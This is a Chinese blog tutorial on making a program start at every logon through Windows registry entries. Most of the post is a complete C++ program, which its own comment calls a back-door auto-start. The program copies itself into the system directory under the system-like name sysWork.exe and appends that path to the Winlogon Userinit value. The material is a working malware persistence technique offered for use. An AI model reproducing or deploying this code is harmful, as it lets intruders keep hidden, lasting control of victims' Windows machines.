安全之路 —— C/C++实现利用添加注册表项实现文件自启动

简介

添加注册表项是实现文件自启动的经典方法之一,但因为操作注册表项是一个敏感操作,被报毒可能性较大,但即便如此,这个方法还是值得一学的,因为后期大部分编程都涉及到注册表操作。


最常使用到的注册表项有两项:

  1. "HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows"“load”键下的键值改为自启动目标文件路径,但缺点在于只能支持一个程序;
  2. "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon"“Userinit”键下的值加上自启动目标文件路径,但是要注意虽然支持多文件自启动,但每个文件路径之间切记要用逗号隔开

C++代码样例

//////////////////////////////////////////////////////////////
//
// FileName : RegAutoRunDemo.cpp
// Creator : PeterZ1997
// Date : 2018-5-1 21:34
// Comment : Add registry key(s) to achieve the Back Door Auto-Start
//
//////////////////////////////////////////////////////////////

#include <cstdio>
#include <iostream>
#include <windows.h>
#include <cstdlib>
#include <cstring>

using namespace std;

const unsigned int MAX_COUNT = 255; /// Max String Length

CHAR szRegInfo[MAX_COUNT] = "\0";

/**
* @brief Determine if it is a substring
* @param str1 String-1
* @param str2 String-2
* @return Boollean Value
*/
BOOL IsSubString(LPCTSTR str1, LPCSTR str2)
{
	CHAR szTempStr01[MAX_COUNT] = "\0";
	CHAR szTempStr02[MAX_COUNT] = "\0";
	if (strlen(str1) < strlen(str2))
	{
		strcpy_s(szTempStr02, sizeof(szTempStr01), str1);
		strcpy_s(szTempStr01, sizeof(szTempStr02), str2);
	}
	else
	{
		strcpy_s(szTempStr01, sizeof(szTempStr01), str1);
		strcpy_s(szTempStr02, sizeof(szTempStr02), str2);
	}
	for (int i = 0; i < strlen(szTempStr01) - strlen(szTempStr02); i++)
	{
		for (int j = 0; j < strlen(szTempStr02); j++)
		{
			if (*(szTempStr01 + j + i) != *(szTempStr02 + j))
			{
				break;
			}
			if (*(szTempStr01 + j + i) == *(szTempStr02 + j) && j == strlen(szTempStr02) - 1)
			{
				return true;
			}
		}
	}
	return false;
}

/**
* @brief Add a string key to Registry
* @param hRoot root key
* @param szSubKey sub key after the root key
* @param szValueName key name
* @param szData key Data
* @return Boollean Value
*/
BOOL setStringToReg(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName, LPCTSTR szData)
{
	HKEY hKey;
	LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (lRes != ERROR_SUCCESS)
	{
		RegCloseKey(hKey);
		RegCloseKey(hRoot);
		return false;
	}
	lRes = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szData, strlen(szData));
	if (lRes != ERROR_SUCCESS)
	{
		RegCloseKey(hKey);
		RegCloseKey(hRoot);
		return false;
	}
	RegCloseKey(hKey);
	RegCloseKey(hRoot);
	return true;
}

/**
* @brief Get key info
* @param hRoot root key
* @param szSubKey sub key after the root key
* @param szValueName key name
* @return Boollean Value
*/
BOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName)
{
	HKEY hKey;
	DWORD dwType = REG_SZ;
	DWORD dwLenData = strlen(szRegInfo);
	LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (lRes != ERROR_SUCCESS)
	{
		RegCloseKey(hKey);
		RegCloseKey(hRoot);
		return false;
	}
	RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData);
	lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData);
	if (lRes != ERROR_SUCCESS)
	{
		RegCloseKey(hKey);
		RegCloseKey(hRoot);
		return false;
	}
	RegCloseKey(hKey);
	RegCloseKey(hRoot);
	return true;
}

/**
* @brief Main Function
*/
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
	CHAR szSystemPath[MAX_COUNT] = "\0";
	CHAR szFilePath[MAX_COUNT] = "\0";
	CHAR szRegValue[MAX_COUNT] = "\0";
	CHAR szTotalString[MAX_COUNT] = "\0";
	if (getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "Userinit")) strcat_s(szRegValue, sizeof(szRegValue), szRegInfo);
	else return 0;
	for (int i = 1;;)
	{
		if (szRegValue[strlen(szRegValue) - i] == ' ')
		{
			szRegValue[strlen(szRegValue) - i] = '\0';
		}
		else
		{
			break;
		}
	}
	if (szRegValue[strlen(szRegValue) - 1] != ',') strcat_s(szRegValue, sizeof(szRegValue), ",");
	strcat_s(szTotalString, sizeof(szTotalString), szRegValue);
	if (!IsSubString(szTotalString, "C:\\Windows\\SysWOW64\\sysWork.exe"))
	{
		strcat_s(szTotalString, sizeof(szTotalString), "C:\\Windows\\SysWOW64\\");
		strcat_s(szTotalString, sizeof(szTotalString), "sysWork.exe,");
	}
	GetSystemDirectory(szSystemPath, sizeof(szSystemPath));
	strcat_s(szSystemPath, sizeof(szSystemPath), "\\sysWork.exe");
	if (!IsSubString(szRegValue, szSystemPath))
	{
		strcat_s(szTotalString, sizeof(szTotalString), szSystemPath);
		strcat_s(szTotalString, sizeof(szTotalString), ",");
	}
	GetModuleFileName(NULL, szFilePath, sizeof(szFilePath));
	if (strcmp(szFilePath, szSystemPath) && strcmp(szFilePath, "C:\\Windows\\SysWOW64\\sysWork.exe"))
	{
		if (!CopyFile(szFilePath, szSystemPath, true)) return 0;
		if (!setStringToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "Userinit", szTotalString)) return 0;
	}
	MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
	ExitProcess(0);
	return 0;
}
posted @ 2018-08-24 21:49  倚剑问天  阅读(665)  评论(0编辑  收藏  举报